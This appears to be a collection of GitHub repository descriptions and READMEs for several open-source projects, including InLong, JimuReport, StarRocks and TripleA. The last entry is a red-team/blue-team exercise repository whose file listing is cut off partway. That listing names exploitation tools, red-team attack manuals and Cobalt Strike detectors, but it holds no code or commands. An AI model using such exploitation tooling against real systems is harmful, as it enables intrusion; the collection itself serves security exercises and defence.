src="https://github.com/subhra74/snowflake-screenshots/blob/master/ssh-keys/28.PNG" width="700"> </div> <h4 id="a10">Network tools</h4> <p>Graphical interface for ping, port checking, traceroute and DNS lookup.</p> <div> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/network-tools/29.PNG" width="700"> <img src="https://github.com/subhra74/snowflake-screenshots/blob/master/network-tools/30.PNG" width="700"> </div> <h2>Documentation:</h2> <p> <a href="https://github.com/subhra74/snowflake/wiki"> https://github.com/subhra74/snowflake/wiki </a> </p>

apache/inlong

Apache InLong - a one-stop, full-scenario integration framework for massive data

2020-01-03T07:13:14Z

<!-- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --> # [A one-stop, full-scenario integration framework for massive data](https://inlong.apache.org/) [](https://github.com/apache/inlong/actions) [](https://codecov.io/gh/apache/inlong) [](http://search.maven.org/#search%7Cga%7C1%7Corg.apache.inlong) [](https://inlong.apache.org/download/) [](https://www.apache.org/licenses/LICENSE-2.0.html) [](https://twitter.com/ApacheInlong) [](https://the-asf.slack.com/archives/C01QAG6U00L) - [What is Apache InLong?](#what-is-apache-inlong) - [Features](#features) - [When should I use InLong?](#when-should-i-use-inlong) - [Build InLong](#build-inlong) - [Deploy InLong](#deploy-inlong) - [Contribute to InLong](#contribute-to-inlong) - [Contact Us](#contact-us) - [Documentation](#documentation) - [License](#license) # What is Apache InLong? | **Stargazers Over Time** | **Contributors Over Time** | |:-----------------------------------------------------------------------------------------------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------:| | [](https://starchart.cc/apache/inlong) | [](https://git-contributor.com?chart=contributorOverTime&repo=apache/inlong) | [Apache InLong](https://inlong.apache.org) is a one-stop, full-scenario integration framework for massive data that supports `Data Ingestion`, `Data Synchronization` and `Data Subscription`, and it provides automatic, secure and reliable data transmission capabilities. InLong also supports both batch and stream data processing at the same time, which offers great power to build data analysis, modeling and other real-time applications based on streaming data. InLong (应龙) is a divine beast in Chinese mythology who guides the river into the sea, and it is regarded as a metaphor of the InLong system for reporting data streams. InLong was originally built at Tencent, which has served online businesses for more than 8 years, to support massive data (data scale of more than 80 trillion pieces of data per day) reporting services in big data scenarios. The entire platform has integrated 5 modules: Ingestion, Convergence, Caching, Sorting, and Management, so that the business only needs to provide data sources, data service quality, data landing clusters and data landing formats, that is, the data can be continuously pushed from the source to the target cluster, which greatly meets the data reporting service requirements in the business big data scenario. For getting more information, please visit our project documentation at https://inlong.apache.org/.  ## Features Apache InLong offers a variety of features: * **Ease of Use**: a SaaS-based service platform. Users can easily and quickly report, transfer, and distribute data by publishing and subscribing to data based on topics. * **Stability & Reliability**: derived from the actual online production environment. It delivers high-performance processing capabilities for 10 trillion-level data streams and highly reliable services for 100 billion-level data streams. * **Comprehensive Features**: supports various types of data access methods and can be integrated with different types of Message Queue (MQ). It also provides real-time data extract, transform, and load (ETL) and sorting capabilities based on rules. InLong also allows users to plug features to extend system capabilities. * **Service Integration**: provides unified system monitoring and alert services. It provides fine-grained metrics to facilitate data visualization. Users can view the running status of queues and topic-based data statistics in a unified data metric platform. Users can also configure the alert service based on their business requirements so that users can be alerted when errors occur. * **Scalability**: adopts a pluggable architecture that allows you to plug modules into the system based on specific protocols. Users can replace components and add features based on their business requirements. ## When should I use InLong? InLong aims to provide a one-stop, full-scenario integration framework for massive data, users can easily build stream-based data applications. It supports `Data Ingestion`, `Data Synchronization` and `Data Subscription` at the same time, and is suitable for environments that need to quickly build a data reporting platform, as well as an ultra-large-scale data reporting environment that InLong is very suitable for, and an environment that needs to automatically sort and land the reported data. You can use InLong in the following ways： - Integrate InLong, manage data streams through [SDK](https://inlong.apache.org/docs/next/sdk/manager-sdk/example). - Use [the InLong command-line tool](https://inlong.apache.org/docs/next/user_guide/command_line_tools) to view and create data streams. - Visualize your operations on [InLong dashboard](https://inlong.apache.org/docs/next/user_guide/dashboard_usage). ## Supported Data Nodes (Updating) | Type | Name | Version | |--------------|-------------------|------------------------------| | Extract Node | Auto Push | None | | | File | None | | | Kafka | 2.x | | | MongoDB | >= 3.6 | | | MQTT | >= 3.1 | | | MySQL | 5.6, 5.7, 8.0.x | | | Oracle | 11,12,19 | | | PostgreSQL | 9.6, 10, 11, 12 | | | Pulsar | 2.8.x | | | Redis | 2.6.x | | | SQLServer | 2012, 2014, 2016, 2017, 2019 | | Load Node | Auto Consumption | None | | | ClickHouse | 20.7+ | | | Elasticsearch | 6.x, 7.x | | | Greenplum | 4.x, 5.x, 6.x | | | HBase | 2.2.x | | | HDFS | 2.x, 3.x | | | Hive | 1.x, 2.x, 3.x | | | Iceberg | 0.12.x | | | Hudi | 0.12.x | | | Kafka | 2.x | | | MySQL | 5.6, 5.7, 8.0.x | | | Oracle | 11, 12, 19 | | | PostgreSQL | 9.6, 10, 11, 12 | | | SQLServer | 2012, 2014, 2016, 2017, 2019 | | | TDSQL-PostgreSQL | 10.17 | | | Doris | >= 0.13 | | | StarRocks | >= 2.0 | | | Kudu | >= 1.12.0 | | | Redis | >= 3.0 | ## Build InLong More detailed instructions can be found at [Quick Start](https://inlong.apache.org/docs/next/quick_start/how_to_build) section in the documentation. Requirements: - Java [JDK 8](https://adoptopenjdk.net/?variant=openjdk8) - Maven 3.6.1+ - [Docker](https://docs.docker.com/engine/install/) 19.03.1+ CodeStyle: ``` mvn spotless:apply ``` Compile and install: ``` mvn clean install -DskipTests ``` (Optional) Compile using docker image: ``` docker pull maven:3.6-openjdk-8 docker run -v `pwd`:/inlong -w /inlong maven:3.6-openjdk-8 mvn clean install -DskipTests ``` after compile successfully, you could find distribution file at `inlong-distribution/target`. ## Deploy InLong - [Standalone for InLong](https://inlong.apache.org/docs/next/deployment/standalone) - [Docker Compose](https://inlong.apache.org/docs/next/deployment/docker) - [InLong on Kubernetes](https://inlong.apache.org/docs/next/deployment/k8s) - [Bare Metal](https://inlong.apache.org/docs/next/deployment/bare_metal) ## Develop InLong - [Agent Plugin extends a Extract Data Node](https://inlong.apache.org/docs/next/design_and_concept/how_to_write_plugin_agent) - [Sort Plugin extends a Data Node](https://inlong.apache.org/docs/next/design_and_concept/how_to_extend_data_node_for_sort) - [Manager Plugin extends a Data Node](https://inlong.apache.org/docs/next/design_and_concept/how_to_extend_data_node_for_manager) - [Dashboard Plugin extends a Data Node page](https://inlong.apache.org/docs/next/design_and_concept/how_to_write_plugin_dashboard) ## Contribute to InLong - Report any issue on [GitHub Issue](https://github.com/apache/inlong/issues) - Code pull request according to [How to contribute](https://inlong.apache.org/community/how-to-contribute). ## Contact Us - Join Apache InLong mailing lists: | Name | Scope | | | | |:------------------------------------------------------------------------------|:--------------------------------|:----------------------------------------------------------------|:--------------------------------------------------------------------|:-----------------------------------------------------------------------------| | [dev@inlong.apache.org](mailto:dev@inlong.apache.org) | Development-related discussions | [Subscribe](mailto:dev-subscribe@inlong.apache.org) | [Unsubscribe](mailto:dev-unsubscribe@inlong.apache.org) | [Archives](http://mail-archives.apache.org/mod_mbox/inlong-dev/) | - Ask questions on [Apache InLong Slack](https://the-asf.slack.com/archives/C01QAG6U00L) ## Documentation - Home page: https://inlong.apache.org/ - Issues: https://github.com/apache/inlong/issues ## License © Contributors Licensed under an [Apache-2.0](LICENSE) license.

wuyouzhuguli/SpringAll

循序渐进，学习Spring Boot、Spring Boot & Shiro、Spring Batch、Spring Cloud、Spring Cloud Alibaba、Spring Security & Spring Security OAuth2，博客Spring系列源码：https://mrbird.cc

2018-05-02T02:48:44Z

jeecgboot/JimuReport

🔥「数据可视化报表工具」类似excel操作风格，在线拖拽完成报表设计！功能涵盖: 报表设计、图形报表、打印设计、大屏设计等，完全免费！秉承“简单、易用、专业”的产品理念，极大的降低报表开发难度、缩短开发周期、解决各类报表难题。

2019-12-05T12:25:59Z

# JimuReport - 积木报表（开源免费的低代码报表） v1.7.4 | 2024-04-01 [](http://jimureport.com) [](https://github.com/zhangdaiscott/JimuReport) [](https://jeecg.blog.csdn.net) [](https://github.com/zhangdaiscott/JimuReport) [](https://github.com/zhangdaiscott/JimuReport) 一款免费的数据可视化报表，含报表和大屏设计，像搭建积木一样在线设计报表！功能涵盖，数据报表、打印设计、图表报表、大屏设计等！ - Web 版报表设计器，类似于excel操作风格，通过拖拽完成报表设计。 - 秉承“简单、易用、专业”的产品理念，极大的降低报表开发难度、缩短开发周期、节省成本、解决各类报表难题。 - 领先的企业级Web报表软件，采用纯Web在线技术，专注于解决企业报表快速制作难题。 ``` 专注于开源，打造“专业 易用 智能 低代码”的数据可视化工具 开源协议：`功能永久免费、可以商用、代码不开放（大屏设计暂时不提供离线版本）` ``` 快速体验： [http://jimureport.com](http://jimureport.com "jimureport.com") 反馈问题 ----------------------------------- > 发现bug 请在github上[发issue](https://github.com/jeecgboot/JimuReport/issues/new) 快速集成 ----------------------------------- #### 一、引入JimuReport依赖 - springboot2依赖 ``` <dependency> <groupId>org.jeecgframework.jimureport</groupId> <artifactId>jimureport-spring-boot-starter</artifactId> <version>1.7.4</version> </dependency> ``` 通过 http://jimureport.com/doc/log 查询最新版本号 - 按需引入mongo和redis支持包 ``` <dependency> <groupId>org.jeecgframework.jimureport</groupId> <artifactId>jimureport-nosql-starter</artifactId> <version>1.6.0</version> </dependency> ``` - springboot3依赖 ``` <dependency> <groupId>org.jeecgframework.jimureport</groupId> <artifactId>jimureport-spring-boot3-starter-fastjson2</artifactId> <version>1.7.3</version> </dependency> ``` #### 二、初始化SQL及项目配置 https://help.jeecg.com/jimureport/quick.html 开发文档 ----------------------------------- - 官方网站： http://jimureport.com - 官方文档： https://help.jeecg.com/jimureport - 视频教程： http://jimureport.com/doc/video - QQ交流群： ③596660273、②929646317(已满)、①212391162(已满) 产生背景 ----------------------------------- 报表是企业IT服务必备的一项需求，但是行业内并没有一个免费好用的报表，大部分免费的报表功能较弱也不够智能，商业报表又很贵，所以有了研发一套免费报表的初衷。 做一个什么样的报表呢？随着低代码概念的兴起，原先通过报表工具设计模板，再与系统集成的模式已经落伍，现在追求的是完全在线设计，傻瓜式的操作，实现简单易用又智能的报表！ 为什么选择 JimuReport? ----------------------------------- > 永久免费，支持各种复杂报表，并且傻瓜式在线设计，非常的智能，低代码时代，这个是你的首选！ - 采用SpringBoot的脚手架项目，都可以快速集成 - Web 版设计器，类似于excel操作风格，通过拖拽完成报表设计 - 通过SQL、API等方式，将数据源与模板绑定。同时支持表达式，自动计算合计等功能，使计算工作量大大降低 - 开发效率很高，傻瓜式在线报表设计，一分钟设计一个报表，又简单又强大 - 支持 ECharts，目前支持28种图表，在线拖拽设计，支持SQL和API两种数据源 - 支持分组、交叉，合计、表达式等复杂报表 - 支持打印设计（支持套打、背景打印等）可设置打印边距、方向、页眉页脚等参数 一键快速打印 同时可实现发票套打，不动产证等精准、无缝打印 - 大屏设计器支持几十种图表样式，可自由拼接、组合，设计炫酷大屏 - 可设计各种类型的单据、大屏，如出入库单、销售单、财务报表、合同、监控大屏、旅游数据大屏等 免安装版和docker版本 ----------------------------------- - http://jimureport.com/download 数据库兼容 ----------------------------------- 支持含常规、国产、大数据等28种数据库 | 数据库 | 支持 | | --- | --- | | MySQL | √ | | Oracle、Oracle9i | √ | | SqlServer、SqlServer2012 | √ | | PostgreSQL | √ | | DB2、Informix | √ | | MariaDB | √ | | SQLite、Hsqldb、Derby、H2 | √ | | 达梦、人大金仓、神通 | √ | | 华为高斯、虚谷、瀚高数据库 | √ | | 阿里云PolarDB、PPAS、HerdDB | √ | | Hive、HBase、CouchBase | √ | 未提供脚本的数据库，可以参考 [文档](https://my.oschina.net/jeecg/blog/4905722) 自己转。 捐赠 ----------------------------------- 如果觉得还不错，请作者喝杯咖啡吧 ☺  授权协议 ----------------------------------- 开源版本遵循 LGPL 条款发布，如果您不能接受 LGPL，并且需要将该项目用于商业用途且不想保留版权信息（预览“Powered by 积木报表”等版权及链接）， 为保障您的合法权益，需购买[商业授权](http://jimureport.com/vip) 报表设计效果 ----------------------------------- - 数据可视化（专业一流，数据可视化,解决各类报表难题）  - 报表设计器（完全在线设计，简单易用）  - 打印设计（支持套打、背景打印）   - 数据报表（支持分组、交叉，合计等复杂报表）   - 图形报表（目前支持28种图表）   大屏设计效果 -----------------------------------         仪表盘设计器 -----------------------------------       功能清单 ----------------------------------- 更多功能清单: [http://jimureport.com/plan](http://jimureport.com/plan) ``` ├─报表设计器 │ ├─数据源 │ │ ├─支持多种数据源，如Oracle,MySQL,SQLServer,PostgreSQL等主流的数据库 │ │ ├─支持SQL编写页面智能化，可以看到数据源下面的表清单和字段清单 │ │ ├─支持参数 │ │ ├─支持但数据源和多数数据源设置 │ ├─单元格格式 │ │ ├─边框 │ │ ├─字体大小 │ │ ├─字体颜色 │ │ ├─背景色 │ │ ├─字体加粗 │ │ ├─支持水平和垂直的分散对齐 │ │ ├─支持文字自动换行设置 │ │ ├─图片设置为图片背景 │ │ ├─支持无线行和无限列 │ │ ├─支持设计器内冻结窗口 │ │ ├─支持对单元格内容或格式的复制、粘贴和删除等功能 │ │ ├─等等 │ ├─报表元素 │ │ ├─文本类型：直接写文本；支持数值类型的文本设置小数位数 │ │ ├─图片类型：支持上传一张图表 │ │ ├─图表类型 │ │ ├─函数类型 │ │ └─支持求和 │ │ └─平均值 │ │ └─最大值 │ │ └─最小值 │ ├─背景 │ │ ├─背景颜色设置 │ │ ├─背景图片设置 │ │ ├─背景透明度设置 │ │ ├─背景大小设置 │ ├─数据字典 │ ├─报表打印 │ │ ├─自定义打印 │ │ └─医药笺、逮捕令、介绍信等自定义样式设计打印 │ │ ├─简单数据打印 │ │ └─出入库单、销售表打印 │ │ └─带参数打印 │ │ └─分页打印 │ │ ├─套打 │ │ └─不动产证书打印 │ │ └─发票打印 │ ├─数据报表 │ │ ├─分组数据报表 │ │ └─横向数据分组 │ │ └─纵向数据分组 │ │ └─多级循环表头分组 │ │ └─横向分组小计 │ │ └─纵向分组小计 │ │ └─合计 │ │ ├─交叉报表 │ │ ├─明细表 │ │ ├─带条件查询报表 │ │ ├─表达式报表 │ │ ├─带二维码/条形码报表 │ │ ├─多表头复杂报表 │ │ ├─主子报表 │ │ ├─预警报表 │ │ ├─数据钻取报表 │ ├─图形报表 │ │ ├─柱形图 │ │ ├─折线图 │ │ ├─饼图 │ │ ├─折柱图 │ │ ├─散点图 │ │ ├─漏斗图 │ │ ├─雷达图 │ │ ├─象形图 │ │ ├─地图 │ │ ├─仪盘表 │ │ ├─关系图 │ │ ├─图表背景 │ │ ├─图表动态刷新 │ │ ├─图表数据字典 │ ├─参数 │ │ ├─参数配置 │ │ ├─参数管理 │ ├─导入导出 │ │ ├─导入Excel │ │ ├─导出Excel、pdf │ ├─打印设置 │ │ ├─打印区域设置 │ │ ├─打印机设置 │ │ ├─预览 │ │ ├─打印页码设置 ├─大屏设计器 │ ├─系统功能 │ │ ├─静态数据源和动态数据源设置 │ │ ├─基础功能 │ │ └─支持拖拽设计 │ │ └─支持增、删、改、查大屏 │ │ └─支持复制大屏数据和样式 │ │ └─支持大屏预览、分享 │ │ └─支持系统自动保存数据，同时支持手动恢复数据 │ │ └─支持设置大屏密码 │ │ └─支持对组件图层的删除、组合、上移、下移、置顶、置底等 │ │ ├─背景设置 │ │ └─大屏的宽度和高度设置 │ │ └─大屏简介设置 │ │ └─背景颜色、背景图片设置 │ │ └─封面图设置 │ │ └─缩放比例设置 │ │ └─环境地址设置 │ │ └─水印设置 │ │ ├─地图设置 │ │ └─添加地图 │ │ └─地图数据隔离 │ ├─图表 │ │ ├─柱形图 │ │ ├─折线图 │ │ ├─折柱图 │ │ ├─饼图 │ │ ├─象形图 │ │ ├─雷达图 │ │ ├─散点图 │ │ ├─漏斗图 │ │ ├─文本框 │ │ ├─跑马灯 │ │ ├─超链接 │ │ ├─实时时间 │ │ ├─地图 │ │ ├─全国物流地图 │ │ ├─地理坐标地图 │ │ ├─城市派件地图 │ │ ├─图片 │ │ ├─图片框 │ │ ├─轮播图 │ │ ├─滑动组件 │ │ ├─iframe │ │ ├─video │ │ ├─翻牌器 │ │ ├─环形图 │ │ ├─进度条 │ │ ├─仪盘表 │ │ ├─字浮云 │ │ ├─表格 │ │ ├─选项卡 │ │ ├─万能组件 └─其他模块 └─更多功能开发中。。 ```

StarRocks/starrocks

StarRocks, a Linux Foundation project, is a next-generation sub-second MPP OLAP database for full analytics scenarios, including multi-dimensional analytics, real-time analytics, and ad-hoc queries. InfoWorld’s 2023 BOSSIE Award for best open source software.

2021-09-04T02:29:35Z

<img referrerpolicy="no-referrer-when-downgrade" src="https://static.scarf.sh/a.png?x-pxid=e8355b6b-a9fc-4d4e-8ed8-b3157aa1827d" /> <p align="center"> <a href="https://starrocks.io/index"> <img width="900" src="https://cdn.starrocks.io/static/github/starrocks.png"> </a> </p> <p align="center"> <a href="https://starrocks.io/download/community">Download</a> | <a href="https://docs.starrocks.io/">Docs</a> | <a href="https://starrocks.io/blog/benchmark-test">Benchmarks</a> | <a href="https://github.com/StarRocks/demo">Demo</a> </p> <p align="center"> <img src="https://img.shields.io/badge/Made%20with-JAVA%20%26%20C%2B%2B-red" alt="JAVA&C++"> </a> <img src="https://img.shields.io/github/commit-activity/m/StarRocks/starrocks" alt="Commit Activities"> </a> <a href="https://github.com/StarRocks/starrocks/issues"> <img src="https://img.shields.io/github/issues-raw/StarRocks/starrocks" alt="Open Issues"> </a> </a> <a href="https://starrocks.io/index"> <img src="https://img.shields.io/badge/Visit%20StarRocks-Website-green" alt="Website"> </a> </a> <a href="https://join.slack.com/t/starrocks/shared_invite/zt-z5zxqr0k-U5lrTVlgypRIV8RbnCIAzg"> <img src="https://img.shields.io/badge/Join-Slack-ff69b4" alt="Slack"> </a> </a> <a href="https://twitter.com/StarRocksLabs"> <img src="https://img.shields.io/twitter/follow/StarRocksLabs?style=social" alt="Twitter"> </a> </p> <div align="center"> </div> StarRocks, a Linux Foundation project, is the next-generation data platform designed to make data-intensive real-time analytics fast and easy. It delivers query speeds 5 to 10 times faster than other popular solutions. StarRocks can perform real-time analytics well while updating historical records. It can also enhance real-time analytics with historical data from data lakes easily. With StarRocks, you can get rid of the de-normalized tables and get the best performance and flexibility. <br> Learn more 👉🏻 [Introduction to StarRocks](https://www.starrocks.io/blog/introduction_to_starrocks ) <br> <p align="center"> <img src="https://cdn.starrocks.io/static/github/community.gif"> </a> </p> </br> ## Features * **🚀 Native vectorized SQL engine:** StarRocks adopts vectorization technology to make full use of the parallel computing power of CPU, achieving sub-second query returns in multi-dimensional analyses, which is 5 to 10 times faster than previous systems. * **📊 Standard SQL:** StarRocks supports ANSI SQL syntax (fully supported TPC-H and TPC-DS). It is also compatible with the MySQL protocol. Various clients and BI software can be used to access StarRocks. * **💡 Smart query optimization:** StarRocks can optimize complex queries through CBO (Cost Based Optimizer). With a better execution plan, the data analysis efficiency will be greatly improved. * **⚡ Real-time update:** The updated model of StarRocks can perform upsert/delete operations according to the primary key, and achieve efficient query while concurrent updates. * **🪟 Intelligent materialized view:** The materialized view of StarRocks can be automatically updated during the data import and automatically selected when the query is executed. * **✨ Querying data in data lakes directly**: StarRocks allows direct access to data from Apache Hive™, Apache Iceberg™, and Apache Hudi™ without importing. * **🎛️ Resource management**: This feature allows StarRocks to limit resource consumption for queries and implement isolation and efficient use of resources among tenants in the same cluster. * **💠 Easy to maintain**: Simple architecture makes StarRocks easy to deploy, maintain and scale out. StarRocks tunes its query plan agilely, balances the resources when the cluster is scaled in or out, and recovers the data replica under node failure automatically. <br> ## Architecture Overview <p align="center"> <img src="images/arch.png"> </a> </p> StarRocks’s streamlined architecture is mainly composed of two modules: Frontend (FE) and Backend (BE). The entire system eliminates single points of failure through seamless and horizontal scaling of FE and BE, as well as replication of metadata and data. Starting from version 3.0, StarRocks supports a new shared-data architecture, which can provide better scalability and lower costs. <p align="center"> <img src="images/arch-v30.png"> </a> </p> <br> ## Resources ### 📚 Read the docs | Section | Description | |-|-| | [Deploy](https://docs.starrocks.io/en-us/latest/quick_start/Deploy) | Learn how to run and configure StarRocks.| | [Articles](https://github.com/StarRocks/starrocks/discussions/categories/how-tos-tutorials-best-practices-and-architecture-articles)| How-tos, Tutorials, Best Practices and Architecture Articles. | | [Docs](https://docs.starrocks.io/en-us/latest/introduction/StarRocks_intro)| Full documentation. | | [Blogs](https://starrocks.io/blog) | StarRocks deep dive and user stories. | ### ❓ Get support [<img align="right" width="150" src="https://firstcontributions.github.io/assets/Readme/join-slack-team.png">](https://join.slack.com/t/starrocks/shared_invite/zt-z5zxqr0k-U5lrTVlgypRIV8RbnCIAzg) - [Slack community: ](https://join.slack.com/t/starrocks/shared_invite/zt-z5zxqr0k-U5lrTVlgypRIV8RbnCIAzg)join technical discussions, ask questions, and meet other users! - [YouTube channel:](https://www.youtube.com/channel/UC38wR-ogamk4naaWNQ45y7Q/featured) subscribe to the latest video tutorials and webcasts. - [GitHub issues:](https://github.com/StarRocks/starrocks/issues) report an issue with StarRocks. <br> ## Contributing to StarRocks We welcome all kinds of contributions from the community, individuals and partners. We owe our success to your active involvement. 1. See [Contributing.md](https://github.com/StarRocks/starrocks/blob/main/CONTRIBUTING.md) to get started. 2. Set up StarRocks development environment: * [IDE Setup](https://docs.starrocks.io/docs/developers/development-environment/ide-setup/) 3. Understand our [GitHub workflow](https://github.com/StarRocks/community/blob/main/Contributors/guide/workflow.md) for opening a pull request; use this [PR Template](https://github.com/StarRocks/starrocks/blob/main/.github/PULL_REQUEST_TEMPLATE.md) when submitting a pull request. 4. Pick a [good first issue](https://github.com/StarRocks/starrocks/labels/good%20first%20issue) and start contributing. **📝 License:** StarRocks is licensed under [Apache License 2.0](https://www.apache.org/licenses/LICENSE-2.0). **👥 Community Membership:** Learn more about different [contributor roles](community/membership.md) in StarRocks community. <br> ## Used By This project is used by the following companies. Learn more about their use cases: - [Airbnb](https://www.youtube.com/watch?v=AzDxEZuMBwM&ab_channel=StarRocks_labs) - [Tencent](https://www.starrocks.io/blog/tencent-unifies-their-gaming-analytics-with-starrocks) - [Shopee](https://www.youtube.com/watch?v=FJf6tVFr-20) - [Trip.com](https://starrocks.medium.com/trip-com-starrocks-efficiently-supports-high-concurrent-queries-dramatically-reduces-labor-and-1e1921dd6bf8) - [Didi](https://www.starrocks.io/blog/reduced-80-cost-didis-journey-from-multiple-olap-engines-to-starrocks)

triplea-game/triplea

TripleA is a turn based strategy game and board game engine, similar to Axis & Allies or Risk.

2015-07-27T09:32:58Z

## [Download TripleA](http://triplea-game.org/download/) TripleA is a free to play, volunteer run, 100% open source gaming community. - ***[Forums: Discussion, Questions & Help](https://forums.triplea-game.org/category/10/help-questions)*** - ***[How to Contribute](/docs/contribute.md)*** - ***[Bug Tracker](https://github.com/triplea-game/triplea/issues/new)*** - ***[Developer Setup Guide](/docs/development/README.md)***  ## About TripleA TripleA is a fan created (2002), open source strategy and board game engine where you can play Axis and Allies style rules on community created maps. TripleA has a well-developed AI and an active lobby for live multiplayer games. Over 100 user-created maps are available via in-game download. In TripleA you can recreate World War 2 with the Axis pushing through to Moscow and the Allies desperately fighting back. Or recreate Napoleon's march across Europe, or Rome defeating the Carthaginian Empire, or Sauron conquering Middle Earth! If you have ever played a game where you push little plastic pieces around, roll dice and conquer the lands of your enemy, you will be able to jump right into TripleA!   ## License<span>&nbsp;</span>[](https://github.com/triplea-game/triplea/blob/master/LICENSE) This project is licensed under the terms of the [GNU General Public License v3.0 with additional permissions](/LICENSE). Copyright (C) 2001-2021 TripleA contributors. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License below for more details. #### Additional permission under GNU GPL version 3 section 7 If you modify this Program, or any covered work, by linking or combining it with any of the following libraries (or a modified version of those libraries), containing parts covered by the terms of the library's associated license, the licensors of this Program grant you additional permission to convey the resulting work. Library | Group ID | Artifact ID | SPDX License ID :-- | :-- | :-- | :-- Jakarta Mail | com.sun.mail | jakarta.mail | GPL-2.0-only ## Open Source Delevoper License for YourKit Profiler [] YourKit supports open source projects with innovative and intelligent tools for monitoring and profiling Java and .NET applications. YourKit is the creator of <a href="https://www.yourkit.com/java/profiler/">YourKit Java Profiler</a>, <a href="https://www.yourkit.com/.net/profiler/">YourKit .NET Profiler</a>, and <a href="https://www.yourkit.com/youmonitor/">YourKit YouMonitor</a>. YourKit grants the TripleA development project an open source license for YourKit Java Profiler. ## Contributors <a href="https://github.com/triplea-game/triplea/graphs/contributors"> <img src="https://contrib.rocks/image?repo=triplea-game/triplea" /> </a>

spring-projects/spring-security

Spring Security

2012-01-10T21:50:57Z

Mr-xn/RedTeam_BlueTeam_HW

红蓝对抗以及护网相关工具和资料，内存shellcode（cs+msf）和内存马查杀工具

2020-12-07T13:15:49Z

# RedTeam_BlueTeam_HW 红蓝对抗以及护网相关工具和资料 ### HW 相关文档和工具[点我](./hw相关项目.md) File 列表(`tree -N .`): ``` ├── Blue_Tools │   ├── BlueTeam_ABC_123.jar │   ├── CobaltStrikeScan.exe │   ├── DuckMemoryScan.exe │   └── LiqunShield.7z ├── LICENSE ├── README.md ├── Red_Tools │   ├── LiqunKit 综合漏洞利用工具.7z │   ├── TPScan.jar │   ├── ThinkPHP.V2.3.by蓝鲸.jar │   ├── ThinkphpGUI-1.3-SNAPSHOT.jar │   ├── Windows │   │   ├── NoApiUser.exe │   │   └── win.md │   ├── readme.md │   └── 图形化漏洞利用Demo-JavaFX版.7z ├── hostnamePot.jar ├── hw │   ├── 2020年9月安全监测报告「护网期间高危漏洞使用情况」.pdf │   ├── 2020护网中的漏洞.pdf │   ├── 2021HW参考_防守方经验总结.pdf │   ├── 2021HW行动红队作战手册.pdf │   ├── 2021实战攻防企业红蓝对抗实践指南-长亭.pdf │   ├── CTF-陇剑杯之内存分析-虚拟机内存取证.pdf │   ├── HW攻守思路3.pdf │   ├── HW多人运动溯源反制指北.pdf │   ├── HW弹药库之红队作战手册.pdf │   ├── Tomcat Filter类型内存马与查杀技术学习.pdf │   ├── mysql.Linux.zip │   ├── mysql.windows.zip │   ├── 微软sysmon使用总结.pdf │   ├── 【应急响应】windows入侵检查流程.pdf │   ├── 使用内存签名检测 Cobalt Strike.pdf │   ├── 红队视角下的防御体系构建.pdf │   └── 蓝队视角下的防御体系突破.pdf ├── hw相关项目.md ├── img │   └── 1.jpeg ├── main.md ├── script │   └── winSensorCheck.bat └── security_wike.md 6 directories, 37 files ``` 另一个压缩包文件列表: HVV资料.7z ``` HVV资料 ├── 1.自我排查 │   ├── 安全加固-Linux安全加固手册.url │   ├── 安全加固-Windows安全加固手册.url │   ├── 安全加固-护网行动，2020年具体防护措施.url │   ├── 资产收集-安全护网前信息收集.url │   ├── 资产收集-全流程信息收集方法总结.url │   ├── 资产收集-企业安全做好这三点，护网没在怕的.url │   └── 企业做好这些，不怕HW.txt ├── 10.红队手册 │   ├── HW弹药库之红队作战手册.pdf │   ├── 微软sysmon使用总结.pdf │   ├── 红队资料集锦.md │   ├── 使用内存签名检测 Cobalt Strike.pdf │   └── 红队研发从入门到精通之书籍推荐密码RedCore.7z ├── 2.安全运营 │   ├── 安全运营-我理解的安全运营.url │   ├── 安全运营-从运营角度看安全团队的成长.url │   ├── 企业蓝军建设思考(甲方可参考,项目经理-安全顾问可参考).url │   ├── 安全运营三部曲：概念篇.url │   ├── 安全运营三部曲：安全响应中心与企业文化.url │   └── 安全运营三部曲：安全生态与运营国际接轨.url ├── 3.研判分析 │   ├── CTF-MISC-日志分析.url │   ├── 流量分析.url │   ├── 企业安全日志分析系统建设.url │   ├── 流量分析在安全攻防上的探索实践.url │   └── 日志审计系统的基本原理与部署方式.url ├── 4.溯源反打 │   ├── HW多人运动溯源反制指北.pdf │   ├── mysql蜜罐Linux.zip │   ├── mysql蜜罐windows.zip │   ├── 调查Web应用攻击事件：如何通过服务器日志文件追踪攻击者.url │   ├── 安全分析--追踪溯源的找人思路.url │   ├── 红蓝对抗-反制.url │   ├── 蓝队反制.pdf │   ├── 攻击溯源手段.url │   ├── 红蓝演习对抗之溯源篇.url │   ├── 安全攻击溯源思路及案例.url │   ├── 红蓝对抗中的溯源反制实战.url │   ├── 蓝队实战溯源反制手册分享.url │   ├── 追踪邮件发送者的地理位置.url │   └── 浅谈攻击溯源的一些常见思路.url ├── 5.HVV必备报告模板 │   ├── HW总结模板.txt │   ├── HW总结报告模板之一.url │   └── HW总结报告模板之二.url ├── 6.历年护网总结 │   ├── 2019年护网行动必备防御手册(V1).pdf │   ├── 2020年9月安全监测报告「护网期间高危漏洞使用情况」.pdf │   ├── 2020护网中的漏洞.pdf │   ├── 2021HW参考_防守方经验总结.pdf │   ├── 2021HW行动红队作战手册.pdf │   ├── 2021实战攻防企业红蓝对抗实践指南-长亭.pdf │   └── 一次攻防实战演习复盘总结.pdf ├── 7.防御必备 │   ├── HW防守手册.TXT │   ├── HW攻守思路3.pdf │   ├── “护网2019”防守应对手册.pdf │   ├── 防守基础安全指引v5.4.pdf │   ├── 红队视角下的防御体系构建.pdf │   └── 蓝队视角下的防御体系突破.pdf ├── 8.应急响应 │   ├── Tomcat Filter类型内存马与查杀技术学习.pdf │   ├── 应急响应-总结.url │   ├── 